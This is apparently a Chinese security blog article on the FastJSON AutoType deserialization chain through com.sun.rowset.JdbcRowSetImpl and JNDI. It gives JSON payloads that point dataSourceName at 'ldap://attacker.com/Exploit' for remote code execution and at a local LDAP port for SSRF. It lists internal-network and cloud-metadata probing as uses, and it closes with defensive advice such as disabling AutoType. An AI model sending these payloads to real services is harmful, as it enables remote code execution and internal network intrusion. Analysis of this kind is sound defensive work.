☣️ FastJSON × JdbcRowSetImpl 反序列化利用分析
📌 一、类简介:JdbcRowSetImpl
- 全类名:
com.sun.rowset.JdbcRowSetImpl - JDK 自带类(Java 8–21+ 均内置)
- 原本用途:通过 JNDI 查询并连接数据库
⚠️ 二、危险行为分析:JNDI
在 Java 中,
setXxx()形式的公开方法称为“setter 方法”,用于为私有字段赋值。
这个类的 setter 方法有“副作用”:
public void setDataSourceName(String dsName) throws SQLException {
this.dataSourceName = dsName;
this.connect(); // ⚠️ 自动调用 connect()
}
public void connect() throws SQLException {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(this.dataSourceName); // ⚠️ 发起 JNDI 请求
this.conn = ds.getConnection();
}
只要调用 setDataSourceName(...),就会触发 connect() → 自动发起 JNDI 请求。
🧬 三、FastJSON 如何触发它?
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
FastJSON 自动行为如下:
// 相当于底层操作
Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");
Object obj = clazz.getDeclaredConstructor().newInstance();
obj.setDataSourceName("ldap://attacker.com/Exploit"); // ⚠️ 触发 connect()
obj.setAutoCommit(true);
此行为是 FastJSON 在开启 AutoType 时的正常反序列化过程!
🧨 四、利用链可行性分析
✅ JDK ≤ 8u191
- 允许远程类加载
- 攻击者可通过 LDAP 服务器返回恶意类,JVM 会加载 → 实现 RCE(远程代码执行)
⚠️ JDK ≥ 8u191、JDK 11、JDK 17+
- 默认禁用远程类加载
- 虽然仍会触发
ctx.lookup(...),但不会加载远程字节码 - RCE 方式失效,但仍可利用….
💥 五、JDK 17+ 下仍可 SSRF!
即使无法加载远程类,但这条链 依然会请求 dataSourceName 所指地址,可用于:
- 🚰 SSRF:内网探测
- 🔐 HTTP 请求打内网 Web 应用
- 🔍 LDAP / Redis / Consul 端口扫描
- 📬 访问云服务 metadata等
✅ SSRF 示例 Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/internal-check", //也可改为HTTP探测端口与IP情况
"autoCommit": true
}
虽然 Exploit.class 不会被加载,但 请求会被发送到 127.0.0.1:1389,已构成 SSRF。
🔐 六、防御建议
| 建议 | 说明 |
|---|---|
| 🚫 禁用 AutoType | FastJSON 最基本防线 |
| ✅ 升级 fastjson2 | 默认不支持 AutoType,设计更安全 |
| 🔒 使用白名单 | 通过 ParserConfig 明确指定允许的类 |
| 🔍 审计依赖 | 检查项目是否引用了 JNDI、JdbcRowSetImpl 等危险类 |
| 🧱 限制内网访问 | 给服务器设置 egress 出口访问控制,禁止随意对外连网 |
🧾 八、总结
| 项目 | 说明 |
|---|---|
| 危险类 | com.sun.rowset.JdbcRowSetImpl(JDK 自带) |
| 触发点 | setDataSourceName(...) → 自动调用 connect() → 发起 JNDI 请求 |
| FastJSON 利用 | 通过 @type 自动实例化 + setter 自动调用 |
| JDK ≤ 8u191 | ✅ 可加载远程类,实现 RCE |
| JDK ≥ 8u191 | ❌ 禁止远程类加载,RCE 失效 |
| JDK 17+ | ✅ SSRF 依然可行 |
| 现实威胁 | 探测内网、打云服务 API、内网横向移动 |
具体流程
[JSON输入]
↓
FastJSON识别 @type
↓
加载 JdbcRowSetImpl 类
↓
调用 setDataSourceName("ldap://...")
↓
触发 connect() → JNDI.lookup()
↓
请求 ldap://attacker.com //或者SSRF的URL
↓
RCE(JDK ≤ 8u191)或 SSRF(JDK 17+)
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END











暂无评论内容